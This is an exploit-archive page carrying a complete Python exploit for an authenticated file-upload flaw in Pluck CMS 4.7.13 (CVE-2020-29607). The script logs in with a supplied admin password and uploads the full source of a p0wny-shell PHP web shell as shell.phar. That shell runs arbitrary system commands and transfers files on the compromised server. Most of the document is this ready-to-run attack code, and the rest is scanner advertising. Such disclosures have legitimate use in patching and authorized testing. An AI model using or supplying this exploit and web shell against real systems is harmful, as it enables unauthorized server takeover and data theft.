pluck cms 4.7.13 file upload remote code execution (authenticated)

▸▸▸ Exploit & Vulnerability >>   webapps exploit & php vulnerability




pluck cms 4.7.13 file upload remote code execution (authenticated) Code Code...
				
# Exploit Title: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated) # Date: 25.05.2021 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https://github.com/pluck-cms/pluck # Software Link: https://github.com/pluck-cms/pluck/releases/tag/4.7.13 # Version: 4.7.13 # Tested on Xubuntu 20.04 # CVE: CVE-2020-29607 ''' Description: A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin privileged user to gain access in the host through the "manage files" functionality, which may result in remote code execution. ''' ''' Import required modules: ''' import sys import requests import json import time import urllib.parse ''' User Input: ''' target_ip = sys.argv[1] target_port = sys.argv[2] password = sys.argv[3] pluckcmspath = sys.argv[4] ''' Get cookie ''' session = requests.Session() link = 'http://' + target_ip + ':' + target_port + pluckcmspath response = session.get(link) cookies_session = session.cookies.get_dict() cookie = json.dumps(cookies_session) cookie = cookie.replace('"}','') cookie = cookie.replace('{"', '') cookie = cookie.replace('"', '') cookie = cookie.replace(" ", '') cookie = cookie.replace(":", '=') ''' Authentication: ''' # Compute Content-Length: base_content_len = 27 password_encoded = urllib.parse.quote(password, safe='') password_encoded_len = len(password_encoded.encode('utf-8')) content_len = base_content_len + password_encoded_len # Construct Header: header = { 'Host': target_ip, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': str(content_len), 'Origin': 'http://' + target_ip, 'Connection': 'close', 'Referer': 'http://' + target_ip + pluckcmspath + '/login.php', 'Cookie': cookie, 'Upgrade-Insecure-Requests': '1' } # Construct Data: body = { 'cont1': password, 'bogus': '', 'submit': 'Log in', } # Authenticating: link_auth = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/login.php' auth = requests.post(link_auth, headers=header, data=body) print('') if 'error' in auth.text: print('Password incorrect, please try again:') exit() else: print('Authentification was succesfull, uploading webshell') print('') ''' Upload Webshell: ''' # Construct Header: header = { 'Host': target_ip, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'multipart/form-data; boundary=---------------------------5170699732428994785525662060', 'Connection': 'close', 'Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files', 'Cookie': cookie, 'Upgrade-Insecure-Requests': '1' } # Constructing Webshell payload: I'm using p0wny-shell: https://github.com/flozz/p0wny-shell data = "-----------------------------5170699732428994785525662060\r\nContent-Disposition: form-data; name=\"filefile\"; filename=\"shell.phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n background: #222;\n max-width: 800px;\n margin: 50px auto 0 auto;\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n font-size: 10pt;\n display: flex;\n flex-direction: column;\n align-items: stretch;\n }\n\n #shell-content {\n height: 500px;\n overflow: auto;\n padding: 5px;\n white-space: pre-wrap;\n flex-grow: 1;\n }\n\n #shell-logo {\n font-weight: bold;\n color: #FF4180;\n text-align: center;\n }\n\n @media (max-width: 991px) {\n #shell-logo {\n font-size: 6px;\n margin: -25px 0;\n }\n\n html, body, #shell {\n height: 100%;\n width: 100%;\n max-width: none;\n }\n\n #shell {\n margin-top: 0;\n }\n }\n\n @media (max-width: 767px) {\n #shell-input {\n flex-direction: column;\n }\n }\n\n @media (max-width: 320px) {\n #shell-logo {\n font-size: 5px;\n }\n }\n\n .shell-prompt {\n font-weight: bold;\n color: #75DF0B;\n }\n\n .shell-prompt > span {\n color: #1BC9E7;\n }\n\n #shell-input {\n display: flex;\n box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n border-top: rgba(255, 255, 255, .05) solid 1px;\n }\n\n #shell-input > label {\n flex-grow: 0;\n display: block;\n padding: 0 5px;\n height: 30px;\n line-height: 30px;\n }\n\n #shell-input #shell-cmd {\n height: 30px;\n line-height: 30px;\n border: none;\n background: transparent;\n color: #eee;\n font-family: monospace;\n font-size: 10pt;\n width: 100%;\n align-self: center;\n }\n\n #shell-input div {\n flex-grow: 1;\n align-items: stretch;\n }\n\n #shell-input input {\n outline: none;\n }\n </style>\n\n <script>\n var CWD = null;\n var commandHistory = [];\n var historyPosition = 0;\n var eShellCmdInput = null;\n var eShellContent = null;\n\n function _insertCommand(command) {\n eShellContent.innerHTML += \"\\n\\n\";\n eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n eShellContent.innerHTML += escapeHtml(command);\n eShellContent.innerHTML += \"\\n\";\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _insertStdout(stdout) {\n eShellContent.innerHTML += escapeHtml(stdout);\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _defer(callback) {\n setTimeout(callback, 0);\n }\n\n function featureShell(command) {\n\n _insertCommand(command);\n if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n } else if (/^\\s*clear\\s*$/.test(command)) {\n // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n eShellContent.innerHTML = '';\n } else {\n makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n if (response.hasOwnProperty('file')) {\n featureDownload(response.name, response.file)\n } else {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n }\n });\n }\n }\n\n function featureHint() {\n if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete\n\n function _requestCallback(data) {\n if (data.files.length <= 1) return; // no completion\n\n if (data.files.length === 2) {\n if (type === 'cmd') {\n eShellCmdInput.value = data.files[0];\n } else {\n var currentValue = eShellCmdInput.value;\n eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n }\n } else {\n _insertCommand(eShellCmdInput.value);\n _insertStdout(data.files.join(\"\\n\"));\n }\n }\n\n var currentCmd = eShellCmdInput.value.split(\" \");\n var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n makeRequest(\n \"?feature=hint\",\n {\n filename: fileName,\n cwd: CWD,\n type: type\n },\n _requestCallback\n );\n\n }\n\n function featureDownload(name, file) {\n var element = document.createElement('a');\n element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n element.setAttribute('download', name);\n element.style.display = 'none';\n document.body.appendChild(element);\n element.click();\n document.body.removeChild(element);\n _insertStdout('Done.');\n }\n\n function featureUpload(path) {\n var element = document.createElement('input');\n element.setAttribute('type', 'file');\n element.style.display = 'none';\n document.body.appendChild(element);\n element.addEventListener('change', function () {\n var promise = getBase64(element.files[0]);\n promise.then(function (file) {\n makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n });\n }, function () {\n _insertStdout('An unknown client-side error occurred.');\n });\n });\n element.click();\n document.body.removeChild(element);\n }\n\n function getBase64(file, onLoadCallback) {\n return new Promise(function(resolve, reject) {\n var reader = new FileReader();\n reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n reader.onerror = reject;\n reader.readAsDataURL(file);\n });\n }\n\n function genPrompt(cwd) {\n cwd = cwd || \"~\";\n var shortCwd = cwd;\n if (cwd.split(\"/\").length > 3) {\n var splittedCwd = cwd.split(\"/\");\n shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n }\n return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n }\n\n function updateCwd(cwd) {\n if (cwd) {\n CWD = cwd;\n _updatePrompt();\n return;\n }\n makeRequest(\"?feature=pwd\", {}, function(response) {\n CWD = response.cwd;\n _updatePrompt();\n });\n\n }\n\n function escapeHtml(string) {\n return string\n .replace(/&/g, \"&\")\n .replace(/</g, \"<\")\n .replace(/>/g, \">\");\n }\n\n function _updatePrompt() {\n var eShellPrompt = document.getElementById(\"shell-prompt\");\n eShellPrompt.innerHTML = genPrompt(CWD);\n }\n\n function _onShellCmdKeyDown(event) {\n switch (event.key) {\n case \"Enter\":\n featureShell(eShellCmdInput.value);\n insertToHistory(eShellCmdInput.value);\n eShellCmdInput.value = \"\";\n break;\n case \"ArrowUp\":\n if (historyPosition > 0) {\n historyPosition--;\n eShellCmdInput.blur();\n eShellCmdInput.value = commandHistory[historyPosition];\n _defer(function() {\n eShellCmdInput.focus();\n });\n }\n break;\n case \"ArrowDown\":\n if (historyPosition >= commandHistory.length) {\n break;\n }\n historyPosition++;\n if (historyPosition === commandHistory.length) {\n eShellCmdInput.value = \"\";\n } else {\n eShellCmdInput.blur();\n eShellCmdInput.focus();\n eShellCmdInput.value = commandHistory[historyPosition];\n }\n break;\n case 'Tab':\n event.preventDefault();\n featureHint();\n break;\n }\n }\n\n function insertToHistory(cmd) {\n commandHistory.push(cmd);\n historyPosition = commandHistory.length;\n }\n\n function makeRequest(url, params, callback) {\n function getQueryString() {\n var a = [];\n for (var key in params) {\n if (params.hasOwnProperty(key)) {\n a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n }\n }\n return a.join(\"&\");\n }\n var xhr = new XMLHttpRequest();\n xhr.open(\"POST\", url, true);\n xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n xhr.onreadystatechange = function() {\n if (xhr.readyState === 4 && xhr.status === 200) {\n try {\n var responseJson = JSON.parse(xhr.responseText);\n callback(responseJson);\n } catch (error) {\n alert(\"Error while parsing response: \" + error);\n }\n }\n };\n xhr.send(getQueryString());\n }\n\n document.onclick = function(event) {\n event = event || window.event;\n var selection = window.getSelection();\n var target = event.target || event.srcElement;\n\n if (target.tagName === \"SELECT\") {\n return;\n }\n\n if (!selection.toString()) {\n eShellCmdInput.focus();\n }\n };\n\n window.onload = function() {\n eShellCmdInput = document.getElementById(\"shell-cmd\");\n eShellContent = document.getElementById(\"shell-content\");\n updateCwd();\n eShellCmdInput.focus();\n };\n </script>\n </head>\n\n <body>\n <div id=\"shell\">\n <pre id=\"shell-content\">\n <div id=\"shell-logo\">\n ___ ____ _ _ _ _ _ <span></span>\n _ __ / _ \\__ ___ __ _ _ / __ \\ ___| |__ ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_ .. _|<span></span>\n| |_) | |_| |\\ V V /| | | | |_| | | (_| \\__ \\ | | | __/ | |_ |_ _|<span></span>\n| .__/ \\___/ \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_) |_||_| <span></span>\n|_| |___/ \\____/ <span></span>\n </div>\n </pre>\n <div id=\"shell-input\">\n <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n <div>\n <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n </div>\n </div>\n </div>\n </body>\n\n</html>\n\r\n-----------------------------5170699732428994785525662060\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nUpload\r\n-----------------------------5170699732428994785525662060--\r\n" # Uploading Webshell: link_upload = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files' upload = requests.post(link_upload, headers=header, data=data) ''' Finish: ''' print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + pluckcmspath + '/files/shell.phar') print('')


Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.